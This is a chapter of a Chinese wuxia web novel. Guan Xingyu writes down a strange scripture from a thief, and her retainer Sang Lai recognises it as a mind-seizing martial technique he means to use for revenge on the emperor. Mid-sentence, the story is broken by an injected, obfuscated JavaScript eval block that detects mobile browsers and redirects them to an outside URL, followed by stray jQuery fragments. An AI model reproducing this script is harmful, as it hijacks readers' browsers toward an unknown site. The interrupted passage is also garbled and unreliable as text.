扬尘刀谱到底是什么,管行玉此前并不知晓。她第一次听到这个名字是从詹长蛟口中,可看事后闻朔川的反应,他似乎也是不知道。
那时她本以为真的是詹长蛟所效力的那个“老爷”丢失的一本武林秘籍,现今才知道,这个东西与自己有着千丝万缕的联系。
在茫茫黄沙中失散后,这是管行玉第一次了解到关于自己母妃的事情。
桑莱被那个黑衣人伤得有些重,管行玉扶着他进门后,他便只能靠在炕上,慢慢运作内力,化解内伤。管行玉坐在一旁,心焦如焚,眼睛却不自觉地盯紧桑莱的动作。
桑莱练的是一门很奇怪的内功。他盘腿而坐,一只手贴着胸口,另一只手却放在膝上,口中念念有词。听着是一些听不懂的经文,循环往复,几无清楚。这不是中原的文字,像是某个异族的文化,管行玉听了一会儿就想明白:是了,桑叔和母妃都来源于朝予国,这应当是朝予的功夫,朝予的文字。那么桑叔所说的,当然也是朝予的语言了。
过了一阵,桑莱又将一条腿伸出,僵在半空,身上却全无任何乏力样式。这个姿势要求腰、腹和腿都有极强的力量,否则非常容易摔倒,更何况桑莱的上半身动也没动,就这样保持这个姿势,保持了很久。
期间,管行玉帮不上忙,就到了庭院里,将地面打扫干净。一番厮杀打斗后,满地破碎的栅栏碎屑,还有团成一团的棉絮和滚滚黄沙。管行玉用那只她用来打年轻人的扫帚清扫。扫着扫着,脑中就回荡起年轻人脱身时说的莫名其妙的话:
“石髓凝云,金声束息,虚橐含光,逆橐抱影,龙隙盈鳞,猿崖返跃,冰纹渡壑,雷沫沉渊,枯荣同理,寂问双骸。”
她大吃一惊——这段经文似的莫名其妙的古怪文字,她此前听也没听过。骤然一听,当然也是完全不懂什么意思,既然此前毫无基础,她怎么听了一遍就记住了?
莫非是什么妖法?
管行玉从小习武,但也惧怕一些妖魔鬼怪,与闻朔川以往到弥月庄时,她不敢靠近义庄,若有需要,往往都是闻朔川打头阵,她牢牢地贴在师哥身后,头也不敢抬。
她自幼怕黑,也是因为年幼时在沙海中没日没夜地游荡不知多久,极其的惧怕黑夜,是周敬慎硬按着她在黑暗中练剑练功,才慢慢地抵抗住这种恐惧。只是对于鬼神的惊惧实乃世间常有,她也难以免俗,小时候在大梁皇宫时就曾亲眼见到有落水而死的宫女提着灯笼在墙壁上行走,回去后吓坏了,生了一场大病,可问了许多人,却都不曾见过,似乎与鬼怪有所联系的,只有她自己。
管行玉紧紧攥着扫帚,像是攥紧了剑。此时头顶、后背和双腿都一阵冷,好像血液停止了流淌一样。这段经文还在脑中不停地来回冲撞,管行玉愈加的惊慌,一把丢下扫帚,冲回屋中,抓过一张桑莱平日用来补窗户的麻纸,一字字写下:
“石髓凝云,金声束息……”
写完,她愣愣地坐在原地。每个字,每行骈文似的“诗句”,都落于笔下,毫无磕碰。她不仅知道这四个字的读音,还知道它们怎么写,除却不知道它们是什么意思以外,似乎至少读音交流无碍。
可它们为什么会就这样毫无征兆地突然出现?
“殿下。”
桑莱终于在内屋叫她,声音很虚弱。管行玉慌忙抛下纸跑去,给桑莱把把脉,发觉伤势已经不是那么严重,才松口气。
她由衷道:“桑叔,你的这门功法真厉害。方才脉象还乱如龙蛇,隐隐有朝着心脏而去的趋势,可把我吓坏了。现在一摸,已经无碍。此后你不用再害怕那个贼子,他无论如何也伤不到你。”
桑莱那只如枯树皮般的手掌紧紧握紧了管行玉的手,道道横斜的皱褶里挤出几点苦涩的笑纹。
“殿下,”他摇头道,“不一样的。我这套‘释老心经’,苦练多年才能得道,是保命的招数,七日才能用一次。只要用了,武功必然大减。那个人既伤了我,按理来说,他于经脉处也该有重伤,可你看他来去自如,被我攻了数掌后依旧谈笑风生,老奴的武功,相对于他来说还是差得太远。”
管行玉的心凉到了谷底。她看着桑莱挣扎要下炕,连忙伸手,扶着桑莱在地上慢慢行走,低声安慰道:
“不,桑叔……世界上根本就没有金刚不坏的功法。那个人所练的必然是邪功。他都能害了我师父,我师父那样天下无敌的人物,都能被他偷袭暗害。我看,我看此人必然修炼了什么不为人知的邪法,终有一日,他要遭到反噬的。”
桑莱却说:“不,殿下,这世上不是没有金刚不坏的功法,老奴在这无尽沙海待了这么多年,见到过一次,不过,也只有一次。”
“桑叔,你说的是什么?”
桑莱道:“老奴与殿下和阿凭娜失散后,曾在无尽沙海不停寻找。大概在十年前,于一个快要干涸的海子边缘,遇到了一个人。那个人很奇怪,大热天依旧一身棉袍,像是极其怕冷。他见到我,主动与我搭话,问我是不是在找人。我看他行色匆匆,便认为他也与家人失散,于是想要帮他寻找。没想到……刚靠近,便被他劈了一掌,差点送命。”
“那时我武功一般,好在带着腰刀,拼死砍了他好几刀。此人身形极为飘灵,如沙漠里的鬼魂,几乎无法抓着,可周身却如铜墙铁壁,刀剑不入,堪称金刚不坏。若不是恰巧有个牧人经过,他似是不愿让人看见,立时抽身,只怕那时我已命丧黄泉。”
管行玉道:“牧人?”
桑莱叹道:“是啊。后来脱困回家,我时时想起,总觉这事儿里头透着古怪。那样神通广大的人物,连刀剑都不怕,还怕一个手无寸铁的牧人看见?而且那地方荒无人烟,方圆十里没有住家,那个牧人是怎么出现在那里的?”
管行玉思忖片刻,听闻桑莱又叹一口气。
“天外有天,人外有人。若只是输掉比试,这条命送给他,也就甘愿了。可不知他是为了什么,也不知道此刻他在何方,这才是最可怕的事情。”
管行玉道:“桑叔以后就再也没有见过他吗?”
桑莱摇摇头。
他的腿坐得久了,外加运功,有些发麻,管行玉就搀着他,在庭院里慢慢地走。说话的功夫,两个人从外走到内,又穿过了那个小小的巴掌大的前厅。管行玉写的经文还放在那里,墨水尚未完全干涸。桑莱本要往内室看,无意间一瞥。管行玉的手腕便觉被他紧紧握住。
“殿下!”桑莱突然道,“那是什么?”
管行玉被桑莱的伤势和故事完全填充的脑袋才想起这件事。她先扶着桑莱坐下,接着将经文拿给桑莱看,颇有些惴惴不安道:“桑叔,这是我、我和那个小贼交手的时候,他为了骗我放他走而说的一些莫名其妙的话。我不知道是什么意思,当时我却能把它们都写出来。桑叔,你说这是不是什么妖法?”
桑莱一把夺过麻纸,甚至不似以往对待管
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405474|184438||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
行玉那样温和恭敬。他的手颤颤巍巍地抓紧麻纸边缘,对着这十几个字一遍遍地念,一会儿恍若怔怔神游,一会儿又眉头紧蹙隐有狰狞,看着看着,竟然手舞足蹈,作势要起身舞动。
管行玉心下担忧又稀奇,不敢近前。桑莱一手拿着麻纸喃喃自语,另一只手抚上胸口又举上头顶,竟然是管行玉当年初练内功时练过的姿势。蓦地,有一道闪电似的心绪骤然从脑中划过,但不等她抓取,桑莱双眼已近迷蒙,眼底像盛了千捧万捧幽幽迷雾,面颊亦不自在舒展平铺,扬起笑意……
桑莱即将就要站起了。就在这时,他突然抬手,一掌拍上自己胸口。喉间发出一阵“咯咯”异响,他的眼神也霎时清明,脸色惨白,转手扣纸,哇的一声吐出一大口鲜血。
“桑叔!”
管行玉连忙扶住他,轻拍后背帮他顺气。桑莱等也等不及,尚咳着血,便又将麻纸翻过来,指着上面的字,一边喘气,一边艰难地说:
“殿下,不对,这不是普通的经文,也不是那个年轻人的胡言乱语。这些词语看似没有意义,实则是一套不知道从何而来的功法,有着摄人心魄的作用。初读必会神思恍惚,如果不脱身而去,就会陷入无穷幻梦,手舞足蹈、自扇耳光都是轻的,严重者可以自挂于梁,就好像睡梦中梦游跳崖一般。”
可说到此,桑莱那双浑浊的眼中隐有一段深沉微光,愈说愈兴奋:“真是好狠毒,好狡诈,也不知是哪个人写了这样一本经书,未来又会残害多少武林人士……”
听他描述,这本来是一本非常阴毒的武功,管行玉心中警惕,心想那个年轻人八成就是为了让她毁了心智,才会在她耳侧念诵这样的一段经文,真是有惊无险。她一步上前,拿起这张纸。
“既然如此,便由阿玉把它毁掉,”管行玉道,“不要害了桑叔和天下人才是。”
她两手拽着麻纸边缘,纵着便撕,桑莱猛地扑上前,一把按住她的手腕。
“殿下万万不可!”
这时,管行玉才从近处看清他琥珀色瞳孔中的兴奋、恐惧与仇恨,交织在一处如一张蛛网,将天地与她全部吞没。
管行玉道:“桑叔,这是害人命的功法!”
桑莱厉声道:“谁的命不是命?殿下,你的命是不是命,阿凭娜的命是不是命?难道它们将要被人夺去,就没有回来复仇的道理吗?”
管行玉到底年少,被这么一呵斥,想说的话也堵在喉咙里。她愣在原地,手中麻纸也被桑莱夺去,于怀中细细放好,再回头时,眼底燃烧的就是管行玉看不懂的情绪。
“殿下,这是你的机会,也是我的机会,是我们的机会……柯鼎这个狼心狗肺的白眼狼背弃诺言,毁了大梁,害死阿凭娜,不能让他就这样风风光光在那个狗屁位置上做皇帝!我们要让他付出代价,要让他接受神的审判,殿下……”
他高高举起麻纸,好像举起一只飞扬的旗帜,眼底跳动着年轻时才有的狂热的光辉,像一丛火重新点燃,熊熊燃烧。
“这就是最后的希望!”
桑莱激动地重复着,忘却了伤痛和身体里的内伤,健步如飞,迅速走到里屋,不知道从什么地方拿出一只木盒,郑重地递给管行玉。
管行玉早被他方才一连串的话吓得呆了。她大概能明白什么意思,却又不能完全懂得,茫然接过盒子,在桑莱的示意下打开一看,一时呼吸一窒,心脏跳得飞快。
这是一把长刀。